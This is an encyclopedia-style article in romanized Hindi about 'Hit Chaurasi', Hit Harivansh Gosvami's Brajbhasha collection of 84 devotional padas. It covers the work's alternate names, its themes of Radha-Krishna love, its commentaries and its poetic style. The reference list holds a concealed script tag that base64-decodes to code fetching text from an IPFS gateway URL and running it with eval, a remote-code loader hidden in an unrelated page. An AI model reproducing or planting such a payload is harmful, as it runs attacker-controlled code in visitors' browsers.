हित चौरासी
hit chaurasi
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| lekhak | hit harivansh gosvami | |
| mool shirshak | 'hit chaurasi' | |
| desh | bharat | |
| bhasha | brajabhasha | |
| vishay | radha-krishna ka anany prem, nity vihar, rasalila, man, virah, vrindavan, sahachari adi hi is granth ke varny vishay haian. | |
| vidha | pad sangrah | |
| any nam | ‘harivansh chaurasi, ‘hit chaurasi dhani’ tatha 'chaturashiji’. | |
| tippani | ‘hit chaurasi’ par abhi tak lagabhag do darjan tikaean prastut ho chuki haian. in tikaoan ka kram solahavian shatabdi hi drishtigat hota hai. | |
hit chaurasi brajabhasha mean likha gaya prasiddh granth hai. shrihit harivansh gosvami dvara rachit brajabhasha ke chaurasi padoan ka sangrah granth ‘hit chaurasi’ 'radhavallabh sampraday' ka akar granth mana jata hai. isi granth ke adhar par radhavallabhiy bhakti-siddhaant ko hridayangam kiya ja sakata hai. isi granth ki hastalikhit prachinatam prati satrahavian shati ki upalabdh hai. yah rasopasana ke adharabhoot siddhaantoan ko hridayangam karake svatantr roop se likhe ge chaurasi padoan ka sankalan hai.
bhakti granth
is granth ko prem-lakshan ya madhury bhakti ka pratipadak bhakti granth kaha ja sakata hai. kuchh vidvanoan ka aisa bhi agrah hai ki isamean chaurasi pad rakhane mean harivansh gosvami ka ashay yah tha ki ek-ek pad ke marm ko samajhane se lakh yoniyoan mean chakkar katane se jiv bach sakata hai. is prakar chaurasi lakh yoniyoan ka chakkar manushy se chhoot sakata hai.[1]
any nam
'hit chaurasi' granth ke ‘harivansh chaurasi, ‘hit chaurasi dhani’, chaturashiji’ nam bhi prasiddh haian, kiantu mool granth ka nam ‘hit chaurasi’ hi hai. any sab nam apramanik haian.
varny vishay
‘hit chaurasi’ ek muktak pad rachana hai, jisamean bhavavastu ya varny vastu ka koee kotikram nahian hai. samay prabandh ki drishti se kuchh vidvanoan ne isamean padoan ka vargikaran kiya hai, kiantu yah paravarti aur sampradayik drishti se kiya gaya hai. mool praneta ka is prakar vargikaran karane ka koee agrah nahian hai. ‘hit chaurasi’ ka varny vishay mukhy roop se aantarang bhavana se sambandh rakhata hai. shrriangar ras ki prishthabhoomi par un vishayoan ko hit harivansh ne prastut kiya hai, jo unaki bhakti paddhati ke merudand haian. radha-krishna ka anany prem, nity vihar, rasalila, man, virah, vrindavan, sahachari adi hi is granth ke varny vishay haian. sabase pahale hit harivansh ne radhavallabhiy premapaddhati ka pratipadan ’tatsukhi’ bhav ke prem varnan dvara pratham pad mean hi prastut kiya hai-
"joee joee pyaroan kare soee mohi bhave, bhave mohi joee, soee soee pyare.“
uparokt pad mean advay bhav ki srishti ke lie priya-priyatam ka ek-doosare mean lin ho jana hi prem ki parakashtha hai. is prakar ke advait ko kuchh vidvanoan ne radhavallabhiy ‘siddhadvait’ kahane ki cheshta ki hai. prem ka varnan karane mean hit harivansh ki shaili svatantr aur unmukt hai. unhoanne bandhanamay prem pratiti ko svikar nahian kiya. “priti n kahoo ki kani vichare” kah kar prem ko svatantr marg kaha hai.[1]
radha ka roop varnan
‘hit chaurasi’ mean radha ka roop varnan bahut hi marmik aur udatt koti ka hai. lagabhag ek darjan padoan mean radha ki roop madhuri ka varnan hai. nakhashikh ki poornata ke lie avakash n hone par bhi lekhak ne usaka paripoorn abhas in padoan mean de diya hai. ras varnan, vrindavan chhavi varnan, nity vihar varnan aur krishna varnan ke pad bhi kavy saushthav tatha praanjal shaili ke suandar nidarshan haian.
tikaean
‘hit chaurasi’ par abhi tak lagabhag do darjan tikaean prastut ho chuki haian. in tikaoan ka kram solahavian shatabdi hi drishtigat hota hai. damodar das (sevakaji) ne ‘sevakavani’ likhakar ek prakar se ‘hit chaurasi’ ke pratipady ka hi varnan kiya tha. isalie ‘hit chaurasi’ aur ‘sevakavani’ ko ek sath padhane, chhapane, likhane aur rakhane ka vidhan ban gaya hai. tikaoan mean premadas, lokanath, kelidas, rasikadas aur gosvami sukhalal ki tikaean paryapt prasiddh haian.
pad lality tatha madhoory
‘hit chaurasi’ yadyapi sampradayik granth mana jata hai, kiantu usake madhyam se yah spasht pratit hota hai ki gosvami harivansh ka dhyan is granth ke padoan ka pranayan karate samay kisi sankirn bhavana se avrit nahian hua tha. unhoanne in padoan ko ras mean nimajjit hokar sahaj sphoort roop mean hi prastutu kiya hai. hit harivansh ke in padoan ka mooladhar ras hi hai. in padoan ka path karate hi bhakt ke man mean hi nahian, samany sahity premi ke hriday mean bhi anavil radha-krishna prem ka apar paravar laharane lagata hai. padoan ke lality aur madhury ko dekhakar lagata hai ki kadachit bhaktoan ne in padoan ke madhury ke karan hi harivansh ko vanshi ka avatar kaha hoga. brajabhasha ka aisa parishkrit aur praanjal roop sooradas aur nandadas ke padoan mean bhi dikhaee nahian deta hai.[1]
tatsam padavali ke prachury ke sath unaka uchit sthan par prayog mani-kaanchan sanyog ka smaran karane vala hai. bhasha ke chitradharm aur sangitatmakata ko dekhakar lagata hai ki hit harivansh ko brajabhasha ki prakriti ka svabhavik aur sahaj roop vidit ho gaya tha. lakshanik evan dhvanyatmak prayogoan ka bhi ‘hit chaurasi’ mean abhav nahian hai. sankshep mean ‘hit chaurasi’ brajabhasha ka ek anootha bhakti granth hai, jise sahity, sangit aur kala mean saman roop se samman prapt hua hai.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 679 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sahayak granth- radhavallabh sampraday-siddhaant aur sahity : d aau. vijayeandr snatak; gosvami hit harivansh aur unaka sampraday : lalitacharan gosvami; hiandi sahity ka itihas : pan. ramachandr shukl; hit chaurasi, prakashak gosvami mohanalalaji vrindavan; hitamrit siandhu, prakashak hit govaradhanadas ji
sanbandhit lekh
varnamala kramanusar lekh khoj
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